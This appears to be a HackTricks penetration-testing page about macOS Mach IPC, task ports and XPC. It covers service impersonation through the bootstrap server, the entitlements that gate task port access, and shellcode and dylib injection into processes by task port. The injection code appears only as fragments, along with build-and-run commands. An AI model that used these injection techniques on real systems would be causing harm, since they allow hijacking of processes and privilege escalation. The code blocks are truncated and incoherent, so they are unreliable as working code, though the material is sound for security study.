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Mach uses **tasks** as the **smallest unit** for sharing resources, and each task can contain **multiple threads**. These **tasks and threads are mapped 1:1 to POSIX processes and threads**.
Communication between tasks occurs via Mach Inter-Process Communication (IPC), utilizing one-way communication channels. **Messages are transferred between ports**, which act like **message queues** managed by the kernel.
Port rights, which define what operations a task can perform, are key to this communication. The possible **port rights** are:
* **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe).
* A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t.
* **Send right**, which allows sending messages to the port.
* **Send-once right**, which allows sending one message to the port and then disappears.
* **Port set right**, which denotes a _port set_ rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like `select`/`poll`/`epoll`/`kqueue` in Unix.
* **Dead name**, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names.
**Tasks can transfer SEND rights to others**, enabling them to send messages back. **SEND rights can also be cloned, so a task can duplicate and give the right to a third task**. This, combined with an intermediary process known as the **bootstrap server**, allows for effective communication between tasks.
#### Steps:
As it's mentioned, in order to establish the communication channel, the **bootstrap server** (**launchd** in mac) is involved.
1. Task **A** initiates a **new port**, obtaining a **RECEIVE right** in the process.
2. Task **A**, being the holder of the RECEIVE right, **generates a SEND right for the port**.
3. Task **A** establishes a **connection** with the **bootstrap server**, providing the **port's service name** and the **SEND right** through a procedure known as the bootstrap register.
4. Task **B** interacts with the **bootstrap server** to execute a bootstrap **lookup for the service** name. If successful, the **server duplicates the SEND right** received from Task A and **transmits it to Task B**.
5. Upon acquiring a SEND right, Task **B** is capable of **formulating** a **message** and dispatching it **to Task A**.
The bootstrap server **cannot authenticate** the service name claimed by a task. This means a **task** could potentially **impersonate any system task**, such as falsely **claiming an authorization service name** and then approving every request.
Then, Apple stores the **names of system-provided services** in secure configuration files, located in **SIP-protected** directories: `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`. Alongside each service name, the **associated binary is also stored**. The bootstrap server, will create and hold a **RECEIVE right for each of these service names**.
For these predefined services, the **lookup process differs slightly**. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows:
* Task **B** initiates a bootstrap **lookup** for a service name.
* **launchd** checks if the task is running and if it isn’t, **starts** it.
* Task **A** (the service) performs a **bootstrap check-in**. Here, the **bootstrap** server creates a SEND right, retains it, and **transfers the RECEIVE right to Task A**.
* launchd duplicates the **SEND right and sends it to Task B**.
However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation.
### Code example
Note how the **sender****allocates** a port, create a **send right** for the name `org.darlinghq.example` and send it to the **bootstrap server** while the sender asked for the **send right** of that name and used it to **send a message**.
{% tabs %}
{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{% endtab %}
{% endtabs %}
### Privileged Ports
* **Host port**: If a process has **Send** privilege over this port he can get **information** about the **system** (e.g. `host_processor_info`).
* **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get tis permission.
* Moreover, in order to call **`kext_request`** API it's needed to have the entitlement **`com.apple.private.kext`** which is only given to Apple binaries.
* **Task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`.
* **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...).
* Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`ing a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) while doing a `fork()`.
* These are the restrictions to access the port (from `macos_task_policy` from the binary `AppleMobileFileIntegrity`):
* If the app has **`com.apple.security.get-task-allow` entitlement** processes from the **same user can access the task port** (commonly added by Xcode for debugging). The **notarization** process won't allow it to production releases.
* Apps the **`com.apple.system-task-ports`** entitlement can get the **task port for any** process, except the kernel. In older versions it was called **`task_for_pid-allow`**. This is only granted to Apple applications.
* **Root can access task ports** of applications **not** compiled with a **hardened** runtime (and not from Apple).
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc <2){
NSLog(@"Usage: %s <pid>", argv[0]);
return 1;
}
pid_t pid = atoi(argv[1]);
inject(pid);
}
return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pid-of-mysleep>
```
### Dylib Process Injection via Task port
In macOS **threads** might be manipulated via **Mach** or using **posix `pthread` api**. The thread we generated in the previos injection, was generated using Mach api, so **it's not posix compliant**.
It was possible to **inject a simple shellcode** to execute a command because it **didn't need to work with posix** compliant apis, only with Mach. **More complex injections** would need the **thread** to be also **posix compliant**.
 Therefore, to **improve the shellcode** it should call **`pthread_create_from_mach_thread`** which will **create a valid pthread**. Then, this new pthread could **call dlopen** to **load our dylib** from the system.
You can find **example dylibs** in (for example the one that generates a log and then you can listen to it):
XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process.
XPC uses a form of Inter-Process Communication (IPC), which is a set of methods for different programs running on the same system to send data back and forth.
The primary benefits of XPC include:
1.**Security**: By separating work into different processes, each process can be granted only the permissions it needs. This means that even if a process is compromised, it has limited ability to do harm.
2.**Stability**: XPC helps isolate crashes to the component where they occur. If a process crashes, it can be restarted without affecting the rest of the system.
3.**Performance**: XPC allows for easy concurrency, as different tasks can be run simultaneously in different processes.
The only **drawback** is that **separating an application is several processes** making them communicate via XPC is **less efficient**. But in todays systems this isn't almost noticeable and the benefits are much better.
An example can be seen in QuickTime Player, where a component using XPC is responsible for video decoding. The component is specifically designed to perform computational tasks, thus, in the event of a breach, it wouldn't provide any useful gains to the attacker, such as access to files or the network.
### Application Specific XPC services
The XPC components of an applications are **inside the application itself.** For example, in Safari you can find them in **`/Applications/Safari.app/Contents/XPCServices`**. They have extension **`.xpc`** (like **`com.apple.Safari.SandboxBroker.xpc`**) and are **also bundles** with the main binary inside of it: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`
As you might be thinking a **XPC component will have different entitlements and privileges** than the other XPC components or the main app binary. EXCEPT if an XPC service is configured with [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) set to “True” in its **Info.plist** file. In this case, the XPC service will run in the same security session as the application that called it.
XPC services are **started** by **launchd** when required and **shut down** once all tasks are **complete** to free system resources. **Application-specific XPC components can only be utilized by the application**, thereby reducing the risk associated with potential vulnerabilities.
**System-wide XPC services** are accessible to all users. These services, either launchd or Mach-type, need to be **defined in plist** files located in specified directories such as **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`**, or **`/Library/LaunchAgents`**.
The ones in **`LaunchDameons`** are run by root. So if an unprivileged process can talk with one of these it could be able to escalate privileges.
### XPC Event Messages
Applications can **subscribe** to different event **messages**, enabling them to be **initiated on-demand** when such events happen. The **setup** for these services is done in l**aunchd plist files**, located in the **same directories as the previous ones** and containing an extra **`LaunchEvent`** key.
When a process tries to call a method from via an XPC connection, the **XPC service should check if that process is allowed to connect**. Here are the common ways to check that and the common pitfalls:
Apple also allows apps to **configure some rights and how to get them** so if the calling process have them it would be **allowed to call a method** from the XPC service:
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
